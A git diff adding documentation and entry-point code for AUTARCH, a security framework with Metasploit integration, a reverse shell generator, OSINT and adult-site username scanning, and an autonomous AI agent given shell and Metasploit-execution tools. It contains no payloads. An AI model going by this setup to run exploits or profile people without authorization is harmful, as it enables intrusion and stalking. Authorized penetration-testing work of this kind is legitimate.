| 127.0.0.1 | MSF RPC host | +| port | 55553 | MSF RPC port | +| username | msf | RPC username | +| password | (none) | RPC password | +| ssl | true | Use SSL connection | + +**Starting msfrpcd:** +```bash +msfrpcd -P yourpassword -S -a 127.0.0.1 +``` + +--- + +## Creating Custom Modules + +### Module Template + +```python +""" +Module description here +""" + +# Module metadata (required) +DESCRIPTION = "Short description" +AUTHOR = "Your Name" +VERSION = "1.0" +CATEGORY = "osint" # defense, offense, counter, analyze, osint, simulate, core + +import sys +from pathlib import Path + +sys.path.insert(0, str(Path(__file__).parent.parent)) +from core.banner import Colors, clear_screen, display_banner + + +def run(): + """Main entry point - REQUIRED""" + clear_screen() + display_banner() + + print(f"{Colors.BOLD}My Module{Colors.RESET}") + # Your code here + + +if __name__ == "__main__": + run() +``` + +### Available Colors + +```python +from core.banner import Colors + +Colors.RED +Colors.GREEN +Colors.YELLOW +Colors.BLUE +Colors.MAGENTA +Colors.CYAN +Colors.WHITE +Colors.BOLD +Colors.DIM +Colors.RESET +``` + +### Module Categories + +| Category | Color | Description | +|----------|-------|-------------| +| defense | Blue | Defensive security | +| offense | Red | Penetration testing | +| counter | Magenta | Counter-intelligence | +| analyze | Cyan | Forensics & analysis | +| osint | Green | Open source intelligence | +| simulate | Yellow | Attack simulation | +| core | White | Core framework modules | + +--- + +## Agent Tools Reference + +The autonomous agent has access to these tools: + +### File Operations +``` +read_file(path) - Read file contents +write_file(path, content) - Write to file +list_dir(path) - List directory +search_files(pattern) - Glob search +search_content(pattern) - Grep search +``` + +### System Operations +``` +shell(command, timeout) - Execute shell command +``` + +### User Interaction +``` +ask_user(question) - Prompt user for input +task_complete(result) - Signal task completion +``` + +### Metasploit Operations +``` +msf_connect() - Connect to MSF RPC +msf_search(query) - Search modules +msf_module_info(module) - Get module info +msf_module_options(module) - Get module options +msf_execute(module, options) - Execute module +msf_sessions() - List sessions +msf_session_command(id, cmd) - Run session command +msf_console(command) - Direct console +``` + +--- + +## Troubleshooting + +### Common Issues + +**LLM not loading:** +- Verify model_path in autarch_settings.conf +- Check file permissions on model file +- Ensure sufficient RAM for model size + +**MSF connection failed:** +- Verify msfrpcd is running: `msfrpcd -P password -S` +- Check host/port in settings +- Verify password is correct + +**Module not appearing:** +- Ensure module has `CATEGORY` attribute +- Ensure module has `run()` function +- Check for syntax errors + +**Adult scanner false positives:** +- Some sites return 200 for all requests +- Use content-based detection for those sites +- Verify with a known username + +### Debug Mode + +```bash +# Enable verbose output +python autarch.py --verbose + +# Check configuration +python autarch.py --show-config +``` + +--- + +## Security Notice + +AUTARCH is designed for **authorized security testing only**. Users are responsible for: + +- Obtaining proper authorization before testing +- Complying with all applicable laws +- Using tools ethically and responsibly + +**Do not use for:** +- Unauthorized access +- Harassment or stalking +- Any illegal activities + +--- + +## Version History + +| Version | Date | Changes | +|---------|------|---------| +| 1.0 | 2026-01-14 | Initial release | +| 1.1 | 2026-01-14 | Added custom site management | +| 1.2 | 2026-01-14 | Added auto-detect patterns | +| 1.3 | 2026-01-14 | Added bulk import | + +--- + +## Credits + +**Project AUTARCH** +By darkHal Security Group and Setec Security Labs + +--- + +*For development history, see DEVLOG.md* diff --git a/README.md b/README.md new file mode 100644 index 0000000..f6a5a5b --- /dev/null +++ b/README.md @@ -0,0 +1,172 @@ +# AUTARCH + +**Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking** + +By **darkHal Security Group** & **Setec Security Labs** + +--- + +## Overview + +AUTARCH is a modular security platform combining defensive hardening, offensive testing, forensic analysis, OSINT reconnaissance, and attack simulation into a single web-based dashboard. It features local and cloud LLM integration, an autonomous AI agent, hardware device management over WebUSB, and a companion Android application. + +## Features + +- **Defense** — System hardening audits, firewall checks, permission analysis, security scoring +- **Offense** — Metasploit & RouterSploit integration, module execution with live SSE streaming +- **Counter** — Threat detection, suspicious process analysis, rootkit checks, network monitoring +- **Analyze** — File forensics, hash toolkit (43 algorithm patterns), hex dumps, string extraction, log analysis +- **OSINT** — Email/username/phone/domain/IP reconnaissance, 7,287+ indexed sites +- **Simulate** — Attack simulation, port scanning, password auditing, payload generation +- **Hardware** — ADB/Fastboot over WebUSB, ESP32 flashing via Web Serial, dual-mode (server + direct) +- **Android Protection** — Anti-stalkerware/spyware shield, signature-based scanning, permission auditing +- **Agent Hal** — Autonomous AI agent with tool use, available as a global chat panel +- **Hash Toolkit** — Hash algorithm identification (hashid-style), file/text hashing, hash mutation, threat intel lookups +- **Enc Modules** — Encrypted module system for sensitive payloads +- **Reverse Shell** — Multi-language reverse shell generator +- **WireGuard VPN** — Tunnel management and remote device access +- **UPnP** — Automated port forwarding +- **Wireshark** — Packet capture and analysis via tshark/pyshark +- **MSF Console** — Web-based Metasploit console with live terminal +- **Debug Console** — Real-time Python logging output with 5 filter modes + +## Architecture + +``` +autarch.py # Main entry point (CLI + web server) +core/ # 25+ Python modules (agent, config, hardware, llm, msf, etc.) +modules/ # 26 loadable modules (defense, offense, counter, analyze, osint, simulate) +web/ + app.py # Flask app factory (16 blueprints) + routes/ # 15 route files + templates/ # 16 Jinja2 templates + static/ # JS, CSS, WebUSB bundles +autarch_companion/ # Archon Android app (Kotlin) +data/ # SQLite DBs, JSON configs, stalkerware signatures +``` + +## Quick Start + +### From Source + +```bash +# Clone +git clone https://github.com/digijeth/autarch.git +cd autarch + +# Install dependencies +pip install -r requirements.txt + +# Run +python autarch.py +``` + +The web dashboard starts at `https://localhost:8080` (self-signed cert). + +### Windows Installer + +Download `autarch_public.msi` or `autarch_public.exe` from the [Releases](https://github.com/digijeth/autarch/releases) page. + +## Configuration + +Settings are managed via `autarch_settings.conf` (auto-generated on first run) and the web UI Settings page. + +Key sections: `[server]`, `[llm]`, `[msf]`, `[wireguard]`, `[upnp]`, `[hardware]` + +### LLM Backends + +- **Local** — llama-cpp-python (GGUF models) or HuggingFace Transformers (SafeTensors) +- **Claude** — Anthropic Claude API +- **OpenAI** — OpenAI-compatible API (custom endpoint support) +- **HuggingFace** — HuggingFace Inference API (8 provider options) + +## Ports + +| Port | Service | +|-------|---------| +| 8080 | Web Dashboard (HTTPS) | +| 8081 | MCP Server (SSE) | +| 17321 | Archon Server (Android companion) | +| 17322 | Reverse Shell Listener | +| 51820 | WireGuard VPN | + +## Platform Support + +- **Primary:** Linux (Orange Pi 5 Plus, RK3588 ARM64) +- **Supported:** Windows 10/11 (x86_64) +- **WebUSB:** Chromium-based browsers required for Direct mode hardware access + +## Acknowledgements + +AUTARCH builds on the work of many outstanding open-source projects. We thank and acknowledge them all: + +### Frameworks & Libraries + +- [Flask](https://flask.palletsprojects.com/) — Web application framework +- [Jinja2](https://jinja.palletsprojects.com/) — Template engine +- [llama.cpp](https://github.com/ggml-org/llama.cpp) — Local LLM inference engine +- [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) — Python bindings for llama.cpp +- [HuggingFace Transformers](https://github.com/huggingface/transformers) — ML model library +- [Anthropic Claude API](https://docs.anthropic.com/) — Cloud LLM backend +- [FastMCP](https://github.com/jlowin/fastmcp) — Model Context Protocol server + +### Security Tools + +- [Metasploit Framework](https://github.com/rapid7/metasploit-framework) — Penetration testing framework +- [RouterSploit](https://github.com/threat9/routersploit) — Router exploitation framework +- [Nmap](https://nmap.org/) — Network scanner and mapper +- [Wireshark / tshark](https://www.wireshark.org/) — Network protocol analyzer +- [Scapy](https://scapy.net/) — Packet crafting and analysis +- [WireGuard](https://www.wireguard.com/) — Modern VPN tunnel + +### Hardware & Mobile + +- [@yume-chan/adb](https://github.com/nicola-nicola/nicola-nicola) — ADB over WebUSB +- [android-fastboot](https://github.com/nicola-nicola/nicola-nicola) — Fastboot over WebUSB +- [esptool-js](https://github.com/nicola-nicola/nicola-nicola) — ESP32 flashing in browser +- [Android Platform Tools](https://developer.android.com/tools/releases/platform-tools) — ADB & Fastboot CLI +- [esptool](https://github.com/nicola-nicola/nicola-nicola) — ESP32 firmware flashing +- [pyserial](https://github.com/pyserial/pyserial) — Serial port communication +- [pyshark](https://github.com/KimiNewt/pyshark) — Wireshark Python interface +- [scrcpy](https://github.com/Genymobile/scrcpy) — Android screen mirroring +- [libadb-android](https://github.com/nicola-nicola/nicola-nicola) — ADB client for Android + +### Python Libraries + +- [bcrypt](https://github.com/pyca/bcrypt) — Password hashing +- [requests](https://github.com/psf/requests) — HTTP client +- [msgpack](https://github.com/msgpack/msgpack-python) — Serialization (Metasploit RPC) +- [cryptography](https://github.com/pyca/cryptography) — Cryptographic primitives +- [PyCryptodome](https://github.com/Legrandin/pycryptodome) — AES encryption +- [Pillow](https://github.com/python-pillow/Pillow) — Image processing +- [qrcode](https://github.com/lincolnloop/python-qrcode) — QR code generation +- [zeroconf](https://github.com/python-zeroconf/python-zeroconf) — mDNS service discovery +- [PyInstaller](https://github.com/pyinstaller/pyinstaller) — Executable packaging +- [cx_Freeze](https://github.com/marcelotduarte/cx_Freeze) — MSI installer packaging + +### Android / Kotlin + +- [AndroidX](https://developer.android.com/jetpack/androidx) — Jetpack libraries +- [Material Design 3](https://m3.material.io/) — UI components +- [Conscrypt](https://github.com/nicola-nicola/nicola-nicola) — SSL/TLS provider for Android + +### Build Tools + +- [esbuild](https://esbuild.github.io/) — JavaScript bundler +- [Gradle](https://gradle.org/) — Android build system + +### Data Sources + +- [NVD API v2.0](https://nvd.nist.gov/developers/vulnerabilities) — National Vulnerability Database + +## License + +Restricted Public Release. Authorized use only — activity is logged. + +## Disclaimer + +AUTARCH is a security research and authorized penetration testing platform. Use only on systems you own or have explicit written authorization to test. Unauthorized access to computer systems is illegal. The authors accept no liability for misuse. + +--- + +*Built with discipline by darkHal Security Group & Setec Security Labs.* diff --git a/activate.sh b/activate.sh new file mode 100644 index 0000000..488ba9b --- /dev/null +++ b/activate.sh @@ -0,0 +1,2 @@ +#!/bin/bash +source "$(dirname "$(realpath "$0")")/venv/bin/activate" diff --git a/android_plan.md b/android_plan.md new file mode 100644 index 0000000..2bc9cd4 --- /dev/null +++ b/android_plan.md @@ -0,0 +1,376 @@ +# AUTARCH Android Plan - Browser-Based Hardware Access +## darkHal Security Group +**Created:** 2026-02-14 + +--- + +## Problem Statement + +The current hardware module (Phase 4.5) is **server-side only**: Flask routes call `adb`/`fastboot`/`esptool` as subprocess commands on the AUTARCH server. This works when devices are physically plugged into the server (e.g., Orange Pi), but does NOT allow a remote user to flash a device plugged into their own machine. + +**Goal:** Add **browser-based direct USB/Serial access** using WebUSB and Web Serial APIs, so users can flash devices plugged into their local machine through the AUTARCH web interface. Keep the existing server-side mode as a fallback. + +--- + +## Architecture: Dual-Mode Hardware Access + +``` + ┌─────────────────────────────────────┐ + │ AUTARCH Web Dashboard │ + │ hardware.html │ + │ │ + │ ┌─────────┐ ┌──────────────┐ │ + │ │ SERVER │ │ DIRECT │ │ + │ │ MODE │ │ MODE │ │ + │ │ │ │ │ │ + │ │ Flask │ │ WebUSB / │ │ + │ │ API │ │ Web Serial │ │ + │ │ calls │ │ (browser JS) │ │ + │ └────┬────┘ └──────┬───────┘ │ + └────────┼────────────────┼───────────┘ + │ │ + ┌────────▼────┐ ┌──────▼───────┐ + │ AUTARCH │ │ User's │ + │ Server │ │ Browser │ + │ (Orange Pi)│ │ ↕ USB/Serial│ + │ ↕ USB │ │ ↕ Device │ + │ ↕ Device │ └──────────────┘ + └─────────────┘ + + Server Mode: device ↔ server ↔ Flask API ↔ browser (existing) + Direct Mode: device ↔ browser (WebUSB/Web Serial) ↔ JS libs (NEW) +``` + +**Server Mode** = Existing implementation. Device plugged into server. Flask calls adb/fastboot/esptool as subprocesses. Works in any browser. + +**Direct Mode** = NEW. Device plugged into user's machine. Browser talks directly to device via WebUSB (ADB, Fastboot) or Web Serial (ESP32). Requires Chromium-based browser (Chrome, Edge, Brave, Opera). + +--- + +## JavaScript Libraries + +### 1. ADB — ya-webadb / Tango +- **npm:** `@yume-chan/adb`, `@yume-chan/adb-daemon-webusb`, `@yume-chan/stream-extra` +- **License:** MIT +- **API:** WebUSB → ADB protocol (shell, file sync, reboot, logcat, install, scrcpy) +- **Source:** https://github.com/yume-chan/ya-webadb +- **Key classes:** + - `AdbDaemonWebUsbDeviceManager` — enumerate/request USB devices + - `AdbDaemonWebUsbDevice` — wrap USB device for ADB transport + - `AdbDaemonTransport` — handshake + auth + - `Adb` — main interface (shell, sync, subprocess, reboot) +- **Usage pattern:** + ```js + const manager = new AdbDaemonWebUsbDeviceManager(navigator.usb); + const device = await manager.requestDevice(); // USB permission prompt + const connection = await device.connect(); + const transport = await AdbDaemonTransport.authenticate({connection, ...}); + const adb = new Adb(transport); + const output = await adb.subprocess.spawnAndWait('ls /sdcard'); + ``` + +### 2. Fastboot — fastboot.js (kdrag0n) +- **npm:** `android-fastboot` +- **License:** MIT +- **API:** WebUSB → Fastboot protocol (getvar, flash, boot, reboot, OEM unlock) +- **Source:** https://github.com/niccolozy/fastboot.js (fork of kdrag0n), used by ArKT-7/nabu +- **Key classes:** + - `FastbootDevice` — connect, getVariable, flashBlob, reboot, flashFactoryZip +- **Usage pattern:** + ```js + const device = new FastbootDevice(); + await device.connect(); // USB permission prompt + const product = await device.getVariable('product'); + await device.flashBlob('boot', blob, (progress) => updateUI(progress)); + await device.reboot(); + ``` + +### 3. ESP32 — esptool-js (Espressif) +- **npm:** `esptool-js` +- **License:** Apache-2.0 +- **API:** Web Serial → ESP32 ROM bootloader (chip detect, flash, erase, read MAC) +- **Source:** https://github.com/niccolozy/esptool-js (Espressif) +- **Key classes:** + - `ESPLoader` — main class, connect/detectChip/writeFlash + - `Transport` — Web Serial wrapper +- **Usage pattern:** + ```js + const port = await navigator.serial.requestPort(); + await port.open({ baudRate: 115200 }); + const transport = new Transport(port); + const loader = new ESPLoader({ transport, baudrate: 115200 }); + await loader.main(); // connect + detect chip + console.log('Chip:', loader.chipName); + await loader.writeFlash({ fileArray: [{data: firmware, address: 0x0}], + flashSize: 'keep', progressCallback: fn }); + ``` + +--- + +## Build Strategy: Pre-bundled ESM + +Since AUTARCH uses vanilla JS (no React/webpack/build system), we need browser-ready bundles of the npm libraries. + +**Approach:** Use `esbuild` to create self-contained browser bundles, saved as static JS files. + +``` +web/static/js/ +├── app.js # Existing (1,477 lines) +├── lib/ +│ ├── adb-bundle.js # ya-webadb bundled (ESM → IIFE) +│ ├── fastboot-bundle.js # fastboot.js bundled +│ └── esptool-bundle.js # esptool-js bundled +└── hardware-direct.js # NEW: Direct-mode logic (~500 lines) +``` + +**Build script** (`scripts/build-hw-libs.sh`): +```bash +#!/bin/bash +# One-time build — output goes into web/static/js/lib/ +# Only needed when updating library versions + +npm install --save-dev esbuild +npm install @yume-chan/adb @yume-chan/adb-daemon-webusb @yume-chan/stream-extra android-fastboot esptool-js + +# Bundle each library into browser-ready IIFE +npx esbuild src/adb-entry.js --bundle --format=iife --global-name=YumeAdb --outfile=web/static/js/lib/adb-bundle.js +npx esbuild src/fastboot-entry.js --bundle --format=iife --global-name=Fastboot --outfile=web/static/js/lib/fastboot-bundle.js +npx esbuild src/esptool-entry.js --bundle --format=iife --global-name=EspTool --outfile=web/static/js/lib/esptool-bundle.js +``` + +**Entry point files** (thin wrappers that re-export what we need): +```js +// src/adb-entry.js +export { AdbDaemonWebUsbDeviceManager, AdbDaemonWebUsbDevice } from '@yume-chan/adb-daemon-webusb'; +export { AdbDaemonTransport, Adb, AdbSync } from '@yume-chan/adb'; + +// src/fastboot-entry.js +export { FastbootDevice, setDebugLevel } from 'android-fastboot'; + +// src/esptool-entry.js +export { ESPLoader, Transport } from 'esptool-js'; +``` + +The pre-built bundles are committed to `web/static/js/lib/` so no npm/node is needed at runtime. The build script is only run when updating library versions. + +--- + +## Implementation Phases + +### Phase A: Build Infrastructure & Library Bundles +**Files:** `package.json`, `scripts/build-hw-libs.sh`, `src/*.js`, `web/static/js/lib/*.js` + +1. Create `package.json` in project root (devDependencies only — not needed at runtime) +2. Create entry-point files in `src/` for each library +3. Create build script `scripts/build-hw-libs.sh` +4. Run build, verify bundles work in browser +5. Add `node_modules/` to `.gitignore` equivalent (cleanup notes) + +**Deliverable:** Three bundled JS files in `web/static/js/lib/` + +### Phase B: Direct-Mode JavaScript Module +**Files:** `web/static/js/hardware-direct.js` (~500 lines) + +Core module providing a unified API that mirrors the existing server-mode functions: + +```js +// hardware-direct.js — Browser-based device access + +const HWDirect = { + // State + supported: { webusb: !!navigator.usb, webserial: !!navigator.serial }, + adbDevice: null, // current ADB connection + fbDevice: null, // current Fastboot connection + espLoader: null, // current ESP32 connection + espTransport: null, + + // ── ADB (WebUSB) ──────────────────────────────── + async adbRequestDevice() { ... }, // navigator.usb.requestDevice() + async adbConnect(usbDevice) { ... }, // handshake + auth → Adb instance + async adbShell(cmd) { ... }, // adb.subprocess.spawnAndWait + async adbReboot(mode) { ... }, // adb.power.reboot / bootloader / recovery + async adbInstall(blob) { ... }, // adb install APK + async adbPush(blob, path) { ... }, // adb.sync().write() + async adbPull(path) { ... }, // adb.sync().read() → Blob download + async adbLogcat(lines) { ... }, // adb subprocess logcat + async adbGetInfo() { ... }, // getprop queries + async adbDisconnect() { ... }, + + // ── Fastboot (WebUSB) ──────────────────────────── + async fbRequestDevice() { ... }, // FastbootDevice.connect() + async fbGetInfo() { ... }, // getVariable queries + async fbFlash(partition, blob, progressCb) { ... }, + async fbReboot(mode) { ... }, + async fbOemUnlock() { ... }, + async fbDisconnect() { ... }, + + // ── ESP32 (Web Serial) ─────────────────────────── + async espRequestPort() { ... }, // navigator.serial.requestPort() + async espConnect(port, baud) { ... }, // Transport + ESPLoader.main() + async espDetectChip() { ... }, // loader.chipName + async espFlash(fileArray, progressCb) { ... }, + async espMonitorStart(outputCb) { ... }, + async espMonitorSend(data) { ... }, + async espMonitorStop() { ... }, + async espDisconnect() { ... }, + + // ── Factory Flash (PixelFlasher PoC) ───────────── + async factoryFlash(zipBlob, options, progressCb) { ... }, +}; +``` + +### Phase C: UI Integration — Mode Switcher & Direct Controls +**Files:** `web/templates/hardware.html`, `web/static/js/app.js` + +1. **Mode toggle** at top of hardware page: + ``` + [Connection Mode] ○ Server (device on AUTARCH host) ● Direct (device on this PC) + ``` + - Direct mode shows browser compatibility warning if WebUSB/Serial not supported + - Direct mode shows "Pair Device" buttons (triggers USB/Serial permission prompts) + +2. **Modify existing JS functions** to check mode: + ```js + // In app.js, each hw*() function checks the mode: + async function hwRefreshAdbDevices() { + if (hwConnectionMode === 'direct') { + // Use HWDirect.adbRequestDevice() / enumerate + } else { + // Existing: fetchJSON('/hardware/adb/devices') + } + } + ``` + +3. **New UI elements for direct mode:** + - "Connect ADB Device" button (triggers WebUSB permission prompt) + - "Connect Fastboot Device" button (triggers WebUSB permission prompt) + - "Connect Serial Port" button (triggers Web Serial permission prompt) + - File picker for firmware uploads (local files, no server upload needed) + - Progress bars driven by JS callbacks instead of SSE streams + +4. **Keep all existing server-mode UI** — just add the mode switch. + +### Phase D: PixelFlasher Proof-of-Concept +**Files:** `web/static/js/hardware-direct.js` (factoryFlash section), `web/templates/hardware.html` (new tab/section) + +Inspired by PixelFlasher's workflow, create a "Flash Factory Image" feature: + +1. **Upload factory image ZIP** (via file input, read in browser — no server upload) +2. **Parse ZIP contents** (identify flash-all.sh/bat, partition images) +3. **Display flash plan** (list of partitions + images to flash, with sizes) +4. **Safety checks:** + - Verify device product matches image (getVariable product vs ZIP name) + - Check bootloader unlock status + - Warn about data wipe partitions (userdata, metadata) + - Show A/B slot info if applicable +5. **Options:** + - [ ] Flash all partitions (default) + - [ ] Skip userdata (preserve data) + - [ ] Disable vbmeta verification (for custom ROMs) + - [ ] Flash to inactive slot (A/B devices) +6. **Execute flash sequence:** + - Reboot to bootloader if in ADB mode + - Flash each partition with progress bar + - Reboot to system +7. **Boot image patching** (future — Magisk/KernelSU integration) + +### Phase E: Polish & Testing +1. Error handling for all WebUSB/Serial operations (device disconnected mid-flash, permission denied, etc.) +2. Browser compatibility detection and graceful degradation +3. Connection status indicators (connected device info in header) +4. Reconnection logic if USB device resets during flash +5. Update `autarch_dev.md` with completed phase notes + +--- + +## File Changes Summary + +### New Files +| File | Purpose | Est. Lines | +|------|---------|-----------| +| `package.json` | npm deps for build only | 20 | +| `scripts/build-hw-libs.sh` | esbuild bundler script | 25 | +| `src/adb-entry.js` | ya-webadb re-export | 5 | +| `src/fastboot-entry.js` | fastboot.js re-export | 3 | +| `src/esptool-entry.js` | esptool-js re-export | 3 | +| `web/static/js/lib/adb-bundle.js` | Built bundle | ~varies | +| `web/static/js/lib/fastboot-bundle.js` | Built bundle | ~varies | +| `web/static/js/lib/esptool-bundle.js` | Built bundle | ~varies | +| `web/static/js/hardware-direct.js` | Direct-mode logic | ~500 | + +### Modified Files +| File | Changes | +|------|---------| +| `web/templates/hardware.html` | Add mode toggle, direct-mode connect buttons, factory flash section, script includes | +| `web/static/js/app.js` | Add mode switching to all hw*() functions | +| `web/static/css/style.css` | Styles for mode toggle, connect buttons, compatibility warnings | + +### Unchanged +| File | Reason | +|------|--------| +| `core/hardware.py` | Server-mode backend stays as-is | +| `web/routes/hardware.py` | Server-mode routes stay as-is | +| `modules/hardware_local.py` | CLI module stays as-is | + +--- + +## Browser Compatibility + +| Feature | Chrome | Edge | Firefox | Safari | +|---------|--------|------|---------|--------| +| WebUSB (ADB/Fastboot) | 61+ | 79+ | No | No | +| Web Serial (ESP32) | 89+ | 89+ | No | No | + +**Fallback:** Users with Firefox/Safari use Server Mode (device plugged into AUTARCH host). Direct Mode requires Chromium-based browser. + +--- + +## Security Considerations + +1. **WebUSB requires HTTPS** in production (or localhost). AUTARCH currently runs plain HTTP. For direct mode to work remotely, either: + - Run behind a reverse proxy with TLS (nginx/caddy) + - Use localhost (device and browser on same machine) + - Use the server-mode fallback instead + +2. **USB permission prompts** — The browser shows a native device picker. Users must explicitly select their device. No access without user gesture. + +3. **Flash safety checks** — Same partition whitelist as server mode. Confirm dialogs before destructive operations. Product verification before factory flash. + +--- + +## Implementation Order + +``` +Phase A → Phase B → Phase C → Phase D → Phase E + (libs) (JS API) (UI) (PoC) (polish) + + ~1 session ~1 session ~1 session ~1 session ~1 session +``` + +Start with Phase A (build the library bundles) since everything else depends on having working JS libraries available in the browser. + +--- + +## PixelFlasher Feature Mapping + +| PixelFlasher Feature | AUTARCH Implementation | Phase | +|---------------------|----------------------|-------| +| Factory image flash | ZIP upload → parse → flash sequence | D | +| OTA sideload | ADB sideload (server) / adb.install (direct) | C | +| Boot image patching (Magisk) | Future — extract boot.img, patch, flash back | Future | +| Multi-device support | Device list + select (both modes already do this) | C | +| A/B slot management | fastboot getvar current-slot / set_active | D | +| Dry run mode | Parse + display flash plan without executing | D | +| Partition backup | fastboot fetch / adb pull partition | Future | +| Lock/unlock status | fastboot getvar unlocked | D | +| Device state display | Product, variant, bootloader version, secure, etc. | C | + +--- + +## Notes + +- All npm/node dependencies are **build-time only**. The built JS bundles are static files served by Flask. No Node.js runtime needed. +- The `src/` directory and `node_modules/` are build artifacts, not needed for deployment. +- Library bundles should be rebuilt when upgrading library versions. Pin versions in package.json. +- The server-side mode remains the primary mode for headless/remote AUTARCH deployments where devices are plugged into the server. +- Direct mode is an enhancement for users who want to flash devices plugged into their own workstation while using the AUTARCH web UI. diff --git a/autarch.py b/autarch.py new file mode 100644 index 0000000..453f3eb --- /dev/null +++ b/autarch.py @@ -0,0 +1,782 @@ +#!/usr/bin/env python3 +""" +AUTARCH - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking +By darkHal Security Group and Setec Security Labs + +Main entry point for the AUTARCH framework. +""" + +import sys +import shutil +import argparse +import importlib.util +from pathlib import Path +from textwrap import dedent + +# Version info +VERSION = "1.3" +BUILD_DATE = "2026-01-14" + +# Ensure the framework directory is in the path +FRAMEWORK_DIR = Path(__file__).parent +sys.path.insert(0, str(FRAMEWORK_DIR)) + +from core.banner import Colors, clear_screen, display_banner + + +def get_epilog(): + """Get detailed help epilog text.""" + return f"""{Colors.BOLD}CATEGORIES:{Colors.RESET} + defense Defensive security tools (hardening, audits, monitoring) + offense Penetration testing (Metasploit integration, exploits) + counter Counter-intelligence (threat hunting, anomaly detection) + analyze Forensics & analysis (file analysis, strings, hashes) + osint Open source intelligence (email, username, domain lookup) + simulate Attack simulation (port scan, payloads, stress test) + +{Colors.BOLD}MODULES:{Colors.RESET} + chat Interactive LLM chat interface + agent Autonomous AI agent with tool access + msf Metasploit Framework interface + defender System hardening and security checks + counter Threat detection and hunting + analyze File forensics and analysis + recon OSINT reconnaissance (email, username, phone, domain) + adultscan Adult site username scanner + simulate Attack simulation tools + +{Colors.BOLD}EXAMPLES:{Colors.RESET} + {Colors.DIM}# Start interactive menu{Colors.RESET} + python autarch.py + + {Colors.DIM}# Run a specific module{Colors.RESET} + python autarch.py -m chat + python autarch.py -m adultscan + python autarch.py --module recon + + {Colors.DIM}# List all available modules{Colors.RESET} + python autarch.py -l + python autarch.py --list + + {Colors.DIM}# Quick OSINT username scan{Colors.RESET} + python autarch.py osint + + {Colors.DIM}# Show current configuration{Colors.RESET} + python autarch.py --show-config + + {Colors.DIM}# Re-run setup wizard{Colors.RESET} + python autarch.py --setup + + {Colors.DIM}# Skip setup (run without LLM){Colors.RESET} + python autarch.py --skip-setup + + {Colors.DIM}# Use alternate config file{Colors.RESET} + python autarch.py -c /path/to/config.conf + +{Colors.BOLD}FILES:{Colors.RESET} + autarch_settings.conf Main configuration file + user_manual.md Comprehensive user manual + custom_adultsites.json Custom adult sites storage + custom_sites.inf Bulk import domains file + GUIDE.md Quick reference guide + DEVLOG.md Development log + +{Colors.BOLD}CONFIGURATION:{Colors.RESET} + LLM settings: + model_path Path to GGUF model file + n_ctx Context window size (default: 4096) + n_threads CPU threads (default: 4) + n_gpu_layers GPU layers to offload (default: 0) + temperature Sampling temperature (default: 0.7) + + MSF settings: + host Metasploit RPC host (default: 127.0.0.1) + port Metasploit RPC port (default: 55553) + ssl Use SSL connection (default: true) + autoconnect Auto-start msfrpcd on launch (default: true) + +{Colors.BOLD}METASPLOIT AUTO-CONNECT:{Colors.RESET} + On startup, AUTARCH will: + 1. Scan for existing msfrpcd server + 2. If found: stop it and prompt for new credentials + 3. Start msfrpcd with sudo (for raw socket module support) + 4. Connect to the server + + To skip autoconnect: python autarch.py --no-msf + Quick connect: python autarch.py --msf-user msf --msf-pass secret + Without sudo: python autarch.py --msf-no-sudo + +{Colors.BOLD}MORE INFO:{Colors.RESET} + Documentation: See GUIDE.md for full documentation + Development: See DEVLOG.md for development history + +{Colors.DIM}Project AUTARCH - By darkHal Security Group and Setec Security Labs{Colors.RESET} +""" + + +def create_parser(): + """Create the argument parser.""" + parser = argparse.ArgumentParser( + prog='autarch', + description=f'{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking', + epilog=get_epilog(), + formatter_class=argparse.RawDescriptionHelpFormatter, + add_help=False # We'll add custom help + ) + + # Help and version + parser.add_argument( + '-h', '--help', + action='store_true', + help='Show this help message and exit' + ) + parser.add_argument( + '-v', '--version', + action='store_true', + help='Show version information and exit' + ) + + # Configuration + parser.add_argument( + '-c', '--config', + metavar='FILE', + help='Use alternate configuration file' + ) + parser.add_argument( + '--show-config', + action='store_true', + help='Display current configuration and exit' + ) + parser.add_argument( + '--manual', + action='store_true', + help='Show the user manual' + ) + parser.add_argument( + '--setup', + action='store_true', + help='Run the setup wizard' + ) + parser.add_argument( + '--skip-setup', + action='store_true', + help='Skip first-time setup (run without LLM)' + ) + + # Module execution + parser.add_argument( + '-m', '--module', + metavar='NAME', + help='Run a specific module directly' + ) + parser.add_argument( + '-l', '--list', + action='store_true', + help='List all available modules' + ) + parser.add_argument( + '--list-category', + metavar='CAT', + choices=['defense', 'offense', 'counter', 'analyze', 'osint', 'simulate', 'core'], + help='List modules in a specific category' + ) + + # Display options + parser.add_argument( + '--no-banner', + action='store_true', + help='Suppress the ASCII banner' + ) + parser.add_argument( + '-q', '--quiet', + action='store_true', + help='Minimal output mode' + ) + parser.add_argument( + '--verbose', + action='store_true', + help='Enable verbose output' + ) + + # Web UI options + parser.add_argument( + '--web', + action='store_true', + help='Start the web dashboard' + ) + parser.add_argument( + '--web-port', + type=int, + metavar='PORT', + help='Web dashboard port (default: 8181)' + ) + + # Web service management + parser.add_argument( + '--service', + metavar='ACTION', + choices=['start', 'stop', 'restart', 'status', 'enable', 'disable', 'install'], + help='Manage AUTARCH web service (start|stop|restart|status|enable|disable|install)' + ) + + # MCP server + parser.add_argument( + '--mcp', + choices=['stdio', 'sse'], + nargs='?', + const='stdio', + metavar='MODE', + help='Start MCP server (stdio for Claude Desktop/Code, sse for web clients)' + ) + parser.add_argument( + '--mcp-port', + type=int, + default=8081, + metavar='PORT', + help='MCP SSE server port (default: 8081)' + ) + + # UPnP options + parser.add_argument( + '--upnp-refresh', + action='store_true', + help='Refresh all UPnP port mappings and exit (for cron use)' + ) + + # Metasploit options + parser.add_argument( + '--no-msf', + action='store_true', + help='Skip Metasploit autoconnect on startup' + ) + parser.add_argument( + '--msf-user', + metavar='USER', + help='MSF RPC username for quick connect' + ) + parser.add_argument( + '--msf-pass', + metavar='PASS', + help='MSF RPC password for quick connect' + ) + parser.add_argument( + '--msf-no-sudo', + action='store_true', + help='Do not use sudo when starting msfrpcd (limits some modules)' + ) + + # Quick commands (positional) + parser.add_argument( + 'command', + nargs='?', + choices=['chat', 'agent', 'osint', 'scan', 'analyze'], + help='Quick command to run' + ) + parser.add_argument( + 'target', + nargs='?', + help='Target for quick commands (username, IP, file, etc.)' + ) + + return parser + + +def show_version(): + """Display version information.""" + print(f""" +{Colors.BOLD}AUTARCH{Colors.RESET} - Autonomous Tactical Agent 